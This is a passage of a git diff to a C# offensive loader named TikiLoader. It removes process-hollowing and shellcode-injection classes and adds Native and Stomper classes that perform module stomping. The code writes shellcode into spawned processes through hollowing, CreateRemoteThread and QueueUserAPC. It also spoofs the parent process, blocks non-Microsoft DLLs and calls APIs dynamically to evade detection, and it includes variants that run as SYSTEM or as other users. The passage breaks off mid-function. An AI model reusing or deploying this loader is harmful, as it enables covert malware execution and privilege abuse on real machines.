GetCurrent() - { - return GetCurrentProcess(); - } - - private KeyValuePair MapSection(IntPtr procHandle, MemoryProtection protect, IntPtr addr) - { - IntPtr baseAddr = addr; - IntPtr viewSize = (IntPtr)size_; - - var status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect); - return new KeyValuePair(baseAddr, viewSize); - } - - private bool CreateSection(uint size) - { - LARGE_INTEGER liVal = new LARGE_INTEGER(); - size_ = round_to_page(size); - liVal.LowPart = size_; - - var status = ZwCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, MemoryProtection.ExecuteReadWrite, AllocationType.SecCommit, (IntPtr)0); - - return nt_success(status); - } - - private void SetLocalSection(uint size) - { - var vals = MapSection(GetCurrent(), MemoryProtection.ReadWrite, IntPtr.Zero); - - localmap_ = vals.Key; - localsize_ = vals.Value; - } - - private void CopyShellcode(byte[] buf) - { - var lsize = size_; - - unsafe - { - byte* p = (byte*)localmap_; - - for (int i = 0; i < buf.Length; i++) - { - p[i] = buf[i]; - } - } - } - - private KeyValuePair BuildEntryPatch(IntPtr dest) - { - int i = 0; - IntPtr ptr; - - ptr = Marshal.AllocHGlobal((IntPtr)PatchSize); - - unsafe - { - - var p = (byte*)ptr; - byte[] tmp = null; - - if (IntPtr.Size == 4) - { - p[i] = 0xb8; - i++; - var val = (Int32)dest; - tmp = BitConverter.GetBytes(val); - } - else - { - p[i] = 0x48; - i++; - p[i] = 0xb8; - i++; - - var val = (Int64)dest; - tmp = BitConverter.GetBytes(val); - } - - for (int j = 0; j < IntPtr.Size; j++) - p[i + j] = tmp[j]; - - i += IntPtr.Size; - p[i] = 0xff; - i++; - p[i] = 0xe0; - i++; - } - - return new KeyValuePair(i, ptr); - } - - private IntPtr GetEntryFromBuffer(byte[] buf) - { - IntPtr res = IntPtr.Zero; - unsafe - { - fixed (byte* p = buf) - { - uint e_lfanew_offset = *((uint*)(p + 0x3c)); - - byte* nthdr = (p + e_lfanew_offset); - - byte* opthdr = (nthdr + 0x18); - - ushort t = *((ushort*)opthdr); - - byte* entry_ptr = (opthdr + 0x10); - - var tmp = *((int*)entry_ptr); - - rvaEntryOffset_ = (uint)tmp; - - if (IntPtr.Size == 4) - res = (IntPtr)(pModBase_.ToInt32() + tmp); - else - res = (IntPtr)(pModBase_.ToInt64() + tmp); - - } - } - - pEntry_ = res; - return res; - } - - private IntPtr FindEntry(IntPtr hProc) - { - var basicInfo = new PROCESS_BASIC_INFORMATION(); - uint tmp = 0; - - var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp); - - IntPtr readLoc = IntPtr.Zero; - var addrBuf = new byte[IntPtr.Size]; - if (IntPtr.Size == 4) - { - readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8); - } - else - { - readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16); - } - - IntPtr nRead = IntPtr.Zero; - - ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead); - - if (IntPtr.Size == 4) - readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0)); - else - readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); - - pModBase_ = readLoc; - ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead); - - return GetEntryFromBuffer(inner_); - } - - public void MapAndStart(PROCESS_INFORMATION pInfo) - { - var tmp = MapSection(pInfo.hProcess, MemoryProtection.ExecuteRead, IntPtr.Zero); - - remotemap_ = tmp.Key; - remotesize_ = tmp.Value; - - var patch = BuildEntryPatch(tmp.Key); - - try - { - var pSize = (IntPtr)patch.Key; - IntPtr tPtr = new IntPtr(); - - WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr); - } - finally - { - if (patch.Value != IntPtr.Zero) - Marshal.FreeHGlobal(patch.Value); - } - - var tbuf = new byte[0x1000]; - var nRead = new IntPtr(); - - ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead); - var res = ResumeThread(pInfo.hThread); - } - - private IntPtr GetBuffer() - { - return localmap_; - } - - ~Hollower() - { - if (localmap_ != (IntPtr)0) - ZwUnmapViewOfSection(section_, localmap_); - } - - public void Hollow(string binary, byte[] shellcode, int ppid) - { - var pinf = StartProcess(binary, ppid); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowWithoutPid(string binary, byte[] shellcode) - { - var pinf = StartProcessWOPid(binary); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowAs(string binary, byte[] shellcode, string domain, string username, string password) - { - var pinf = StartProcessAs(binary, domain, username, password); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowAsSystem(string binary, byte[] shellcode, int impersonationPid) - { - var pinf = StartProcessAsSystem(binary, impersonationPid); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public void HollowElevated(string binary, byte[] shellcode, int elevatedPid) - { - var pinf = StartElevatedProcess(binary, elevatedPid); - - FindEntry(pinf.hProcess); - CreateSection((uint)shellcode.Length); - SetLocalSection((uint)shellcode.Length); - CopyShellcode(shellcode); - MapAndStart(pinf); - CloseHandle(pinf.hThread); - CloseHandle(pinf.hProcess); - } - - public Hollower() - { - section_ = new IntPtr(); - localmap_ = new IntPtr(); - remotemap_ = new IntPtr(); - localsize_ = new IntPtr(); - remotesize_ = new IntPtr(); - inner_ = new byte[0x1000]; - } - } -} \ No newline at end of file diff --git a/TikiLoader/Imports.cs b/TikiLoader/Imports.cs deleted file mode 100644 index 1a1251d..0000000 --- a/TikiLoader/Imports.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -using static TikiLoader.Enums; -using static TikiLoader.Structs; - -namespace TikiLoader -{ - public class Imports - { - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, MemoryProtection pageProt, AllocationType allocationAttribs, IntPtr hFile); - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, AllocationType alloctype, MemoryProtection prot); - - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - public static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo); - - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - public static extern void CloseHandle(IntPtr handle); - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address); - - [DllImport("kernel32.dll")] - public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern bool CreateProcessWithLogonW(string username, string domain, string password, LogonFlags logonFlags, string applicationName, string commandLine, CreationFlags creationFlags, uint environment, string currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); - - [DllImport("kernel32.dll")] - public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern uint ResumeThread(IntPtr hThread); - - [DllImport("kernel32.dll")] - public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] - public static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern int ZwQueryInformationThread(IntPtr ThreadHandle, ThreadInformationClass ThreadInformationClass, ref THREAD_BASIC_INFORMATION ThreadInformation, int ThreadInformationLength, out int ReturnLength); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); - - [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)] - public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); - - [DllImport("kernel32.dll")] - public static extern IntPtr OpenProcess(UInt32 processAccess, bool bInheritHandle, int processId); - - [DllImport("kernel32.dll")] - public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); - - [DllImport("shell32.dll", CharSet = CharSet.Auto)] - public static extern bool ShellExecuteEx(ref SHELLEXECUTEINFO lpExecInfo); - - [DllImport("advapi32.dll")] - public static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle); - - [DllImport("advapi32.dll", CharSet = CharSet.Auto)] - public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpTokenAttributes, int ImpersonationLevel, int TokenType, ref IntPtr phNewToken); - - [DllImport("advapi32.dll")] - public static extern bool AllocateAndInitializeSid(ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, byte nSubAuthorityCount, int dwSubAuthority0, int dwSubAuthority1, int dwSubAuthority2, int dwSubAuthority3, int dwSubAuthority4, int dwSubAuthority5, int dwSubAuthority6, int dwSubAuthority7, ref IntPtr pSid); - - [DllImport("ntdll.dll")] - public static extern int NtSetInformationToken(IntPtr TokenHandle, int TokenInformationClass, ref TOKEN_MANDATORY_LABEL TokenInformation, int TokenInformationLength); - - [DllImport("ntdll.dll")] - public static extern int NtFilterToken(IntPtr TokenHandle, UInt32 Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken); - - [DllImport("advapi32.dll")] - public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); - - [DllImport("kernel32.dll")] - public static extern IntPtr GetCurrentThread(); - - [DllImport("kernel32.dll")] - public static extern uint GetLastError(); - } -} \ No newline at end of file diff --git a/TikiLoader/Injector.cs b/TikiLoader/Injector.cs deleted file mode 100644 index ed2716e..0000000 --- a/TikiLoader/Injector.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; - -using static TikiLoader.Generic; -using static TikiLoader.Imports; -using static TikiLoader.Enums; - -namespace TikiLoader -{ - public class Injector - { - private static IntPtr AllocateVirtualMemory(IntPtr hProcess, uint length) - { - return VirtualAllocEx(hProcess, IntPtr.Zero, length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ReadWrite); - } - - private static bool WriteShellcode(IntPtr hProcess, IntPtr baseAddr, byte[] shellcode) - { - IntPtr written; - return WriteProcessMemory(hProcess, baseAddr, shellcode, shellcode.Length, out written); - } - - private static bool ChangeVirtualMemory(IntPtr hProcess, IntPtr baseAddr, IntPtr shellcodeLength) - { - MemoryProtection oldProtect; - return VirtualProtectEx(hProcess, baseAddr, shellcodeLength, MemoryProtection.ExecuteRead, out oldProtect); - } - - private static IntPtr ResumeTargetProcess(IntPtr hProcess, IntPtr baseAddr) - { - IntPtr threadId; - return CreateRemoteThread(hProcess, IntPtr.Zero, 0, baseAddr, IntPtr.Zero, 0, out threadId); - } - - private static IntPtr QueueAPC(IntPtr baseAddr, IntPtr hThread) - { - return QueueUserAPC(baseAddr, hThread, IntPtr.Zero); - } - - private static uint ResumeTargetThread(IntPtr hThread) - { - return ResumeThread(hThread); - } - - // Create Remote Thread - - public static void CRTInject(string binary, byte[] shellcode, int ppid) - { - var pinf = StartProcess(binary, ppid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectWithoutPid(string binary, byte[] shellcode) - { - var pinf = StartProcessWOPid(binary); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectAs(string binary, string domain, string username, string password, byte[] shellcode) - { - var pinf = StartProcessAs(binary, domain, username, password); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectAsSystem(string binary, int pidToDuplicate, byte[] shellcode) - { - var pinf = StartProcessAsSystem(binary, pidToDuplicate); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectElevated(string binary, int elevatedPid, byte[] shellcode) - { - var pinf = StartElevatedProcess(binary, elevatedPid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - // QueueUserAPC - - public static void QUAPCInject(string binary, byte[] shellcode, int ppid) - { - var pinf = StartProcess(binary, ppid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectWithoutPid(string binary, byte[] shellcode) - { - var pinf = StartProcessWOPid(binary); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectAs(string binary, string domain, string username, string password, byte[] shellcode) - { - var pinf = StartProcessAs(binary, domain, username, password); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectAsSystem(string binary, int pidToDuplicate, byte[] shellcode) - { - var pinf = StartProcessAsSystem(binary, pidToDuplicate); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectElevated(string binary, int elevatedPid, byte[] shellcode) - { - var pinf = StartElevatedProcess(binary, elevatedPid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - } -} \ No newline at end of file diff --git a/TikiLoader/Native.cs b/TikiLoader/Native.cs new file mode 100644 index 0000000..3e4275a --- /dev/null +++ b/TikiLoader/Native.cs @@ -0,0 +1,108 @@ +using System; +using System.Runtime.InteropServices; + +namespace TikiLoader +{ + public static class Native + { + public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess) + { + _ = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out var pProcInfo); + return (Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION)); + } + + private static uint NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo) + { + int processInformationLength; + uint retLen = 0; + + switch (processInfoClass) + { + case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation: + var pbi = new Data.Native.PROCESS_BASIC_INFORMATION(); + pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(pbi)); + RtlZeroMemory(pProcInfo, Marshal.SizeOf(pbi)); + Marshal.StructureToPtr(pbi, pProcInfo, true); + processInformationLength = Marshal.SizeOf(pbi); + break; + + default: + throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}"); + } + + object[] parameters = { hProcess, processInfoClass, pProcInfo, processInformationLength, retLen }; + + var result = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtQueryInformationProcess", typeof(Delegates.NtQueryInformationProcess), ref parameters); + pProcInfo = (IntPtr)parameters[2]; + + return result; + } + + private static void RtlZeroMemory(IntPtr destination, int length) + { + object[] parameters = { destination, length }; + Generic.DynamicApiInvoke("ntdll.dll", "RtlZeroMemory", typeof(Delegates.RtlZeroMemory), ref parameters); + } + + public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING destinationString, [MarshalAs(UnmanagedType.LPWStr)] string sourceString) + { + object[] parameters = { destinationString, sourceString }; + Generic.DynamicApiInvoke("ntdll.dll", "RtlInitUnicodeString", typeof(Delegates.RtlInitUnicodeString), ref parameters); + destinationString = (Data.Native.UNICODE_STRING)parameters[0]; + } + + public static uint LdrLoadDll(IntPtr pathToFile, uint dwFlags, ref Data.Native.UNICODE_STRING moduleFileName, ref IntPtr moduleHandle) + { + object[] parameters = { pathToFile, dwFlags, moduleFileName, moduleHandle }; + var result = (uint)Generic.DynamicApiInvoke("ntdll.dll", "LdrLoadDll", typeof(Delegates.LdrLoadDll), ref parameters); + + moduleHandle = (IntPtr)parameters[3]; + return result; + } + + public static IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect) + { + object[] parameters = { processHandle, baseAddress, zeroBits, regionSize, allocationType, protect }; + _ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtAllocateVirtualMemory", typeof(Delegates.NtAllocateVirtualMemory), ref parameters); + + baseAddress = (IntPtr)parameters[1]; + return baseAddress; + } + + public static uint NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, IntPtr buffer, uint bufferLength) + { + uint bytesWritten = 0; + object[] parameters = { processHandle, baseAddress, buffer, bufferLength, bytesWritten }; + + _ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtWriteVirtualMemory", typeof(Delegates.NtWriteVirtualMemory), ref parameters); + bytesWritten = (uint)parameters[4]; + return bytesWritten; + } + + public static void NtFreeVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, ref IntPtr regionSize, uint freeType) + { + object[] parameters = { processHandle, baseAddress, regionSize, freeType }; + _ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtFreeVirtualMemory", typeof(Delegates.NtFreeVirtualMemory), ref parameters); + } + + public static uint NtCreateThreadEx(ref IntPtr threadHandle, Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList) + { + object[] parameters = { threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, + sizeOfStack, maximumStackSize, attributeList }; + + var retValue = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtCreateThreadEx", typeof(Delegates.NtCreateThreadEx), ref parameters); + threadHandle = (IntPtr)parameters[0]; + return retValue; + } + + public static uint NtProtectVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, ref IntPtr regionSize, uint newProtect) + { + uint oldProtect = 0; + object[] parameters = { processHandle, baseAddress, regionSize, newProtect, oldProtect }; + + _ = (uint)Generic.DynamicApiInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref parameters); + oldProtect = (uint)parameters[4]; + return oldProtect; + } + } +} \ No newline at end of file diff --git a/TikiLoader/Stomper.cs b/TikiLoader/Stomper.cs new file mode 100644 index 0000000..9145cd6 --- /dev/null +++ b/TikiLoader/Stomper.cs @@ -0,0 +1,306 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace TikiLoader +{ + public class Stomper + { + public string BinaryPath { get; set; } = "C:\\Windows\\System32\\notepad.exe"; + public string WorkingDirectory { get; set; } = "C:\\Windows\\System32"; + public string ModuleName { get; set; } = "xpsservices.dll"; + public string ExportName { get; set; } = "DllCanUnloadNow"; + + public int ParentId { get; set; } = 0; + public bool BlockDlls { get; set; } = false; + + private bool Is64Bit => IntPtr.Size == 8; + + public void Stomp(byte[] shellcode) + { + var pi = SpawnProcess(); + + if (!LoadModule(pi)) + throw new Exception("Failed to load module in process"); + + if (!WriteAndExecuteShellcode(pi, shellcode)) + throw new Exception("Failed to execute shellcode"); + } + + private Data.Win32.Kernel32.PROCESS_INFORMATION SpawnProcess() + { + var startupInfoEx = new Data.Win32.Kernel32.STARTUPINFOEX(); + startupInfoEx.Startupinfo.cb = (uint)Marshal.SizeOf(startupInfoEx); + startupInfoEx.Startupinfo.dwFlags = (uint)Data.Win32.Kernel32.STARTF.STARTF_USESHOWWINDOW; + + var lpValue = Marshal.AllocHGlobal(IntPtr.Size); + var lpSize = IntPtr.Zero; + + var attributeCount = 0; + if (ParentId != 0) attributeCount++; + if (BlockDlls) attributeCount++; + + // always false the first time, lpSize is given a value + _ = Win32.InitializeProcThreadAttributeList( + IntPtr.Zero, + attributeCount, + ref lpSize); + + startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); + + // should be true this time + var success = Win32.InitializeProcThreadAttributeList( + startupInfoEx.lpAttributeList, + attributeCount, + ref lpSize); + + if (!success) + throw new Exception("Failed to InitializeProcThreadAttributeList"); + + if (BlockDlls) + { + Marshal.WriteIntPtr(lpValue, + Is64Bit ? + new IntPtr(Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON) + : new IntPtr(unchecked((uint)Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON))); + + success = Win32.UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + (IntPtr)Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, + lpValue); + + if (!success) + throw new Exception("Failed to UpdateProcThreadAttribute for BlockDLLs"); + } + + if (ParentId != 0) + { + var hParent = Process.GetProcessById(ParentId).Handle; + lpValue = Marshal.AllocHGlobal(IntPtr.Size); + Marshal.WriteIntPtr(lpValue, hParent); + + success = Win32.UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + (IntPtr)Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + lpValue); + + if (!success) + throw new Exception("Failed to UpdateProcThreadAttribute for PPID Spoofing"); + } + + success = Win32.CreateProcessA( + BinaryPath, + WorkingDirectory, + Data.Win32.Kernel32.EXTENDED_STARTUPINFO_PRESENT, + startupInfoEx, + out var pi); + + if (!success) + throw new Exception($"Failed to spawn {BinaryPath}"); + + // suppose we don't really care if this fails, it's not critical + _ = Win32.DeleteProcThreadAttribute(startupInfoEx.lpAttributeList); + Marshal.FreeHGlobal(lpValue); + + return pi; + } + + private bool LoadModule(Data.Win32.Kernel32.PROCESS_INFORMATION pi) + { + // Get address of LoadLibraryExA + var kernel32 = Generic.GetPebLdrModuleEntry("kernel32.dll"); + var loadLibraryEx = Generic.GetExportAddress(kernel32, "LoadLibraryExA"); + + // Generate Shim + var shim = GenerateShim((long)loadLibraryEx); + var moduleName = Encoding.ASCII.GetBytes(ModuleName); + + // Allocate memory regions + var baseAddress = IntPtr.Zero; + var regionSize = new IntPtr(moduleName.Length + 2); + + // this one to hold the module name + var allocModule = Native.NtAllocateVirtualMemory( + pi.hProcess, + ref baseAddress, + IntPtr.Zero, + ref regionSize, + Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, + Data.Win32.WinNT.PAGE_READWRITE); + + baseAddress = IntPtr.Zero; + regionSize = new IntPtr(shim.Length); + + // this one to hold the shim + var allocShim = Native.NtAllocateVirtualMemory( + pi.hProcess, + ref baseAddress, + IntPtr.Zero, + ref regionSize, + Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, + Data.Win32.WinNT.PAGE_READWRITE); + + // Write memory + var buffer = Marshal.AllocHGlobal(moduleName.Length); + Marshal.Copy(moduleName, 0, buffer, moduleName.Length); + + Native.NtWriteVirtualMemory( + pi.hProcess, + allocModule, + buffer, + (uint)moduleName.Length); + + Marshal.FreeHGlobal(buffer); + + buffer = Marshal.AllocHGlobal(shim.Length); + Marshal.Copy(shim, 0, buffer, shim.Length); + + Native.NtWriteVirtualMemory( + pi.hProcess, + allocShim, + buffer, + (uint)shim.Length); + + Marshal.FreeHGlobal(buffer); + + // Change the shim region from RW to RX + var size = new IntPtr(shim.Length); + Native.NtProtectVirtualMemory( + pi.hProcess, + ref allocShim, + ref size, + Data.Win32.WinNT.PAGE_EXECUTE_READ); + + // Load DLL into process + var hThread = IntPtr.Zero; + Native.NtCreateThreadEx( + ref hThread, + Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, + IntPtr.Zero, + pi.hProcess,//process.Handle, + allocShim, + allocModule, + false, + 0, + 0, + 0, + IntPtr.Zero); + + // Wait for thread + Win32.WaitForSingleObject(hThread, Data.Win32.WinNT.INFINITE); + + // Free memory regions + size = IntPtr.Zero; + Native.NtFreeVirtualMemory( + pi.hProcess, + ref allocModule, + ref size, + Data.Win32.Kernel32.MEM_RELEASE); + + Native.NtFreeVirtualMemory( + pi.hProcess, + ref allocShim, + ref size, + Data.Win32.Kernel32.MEM_RELEASE); + + 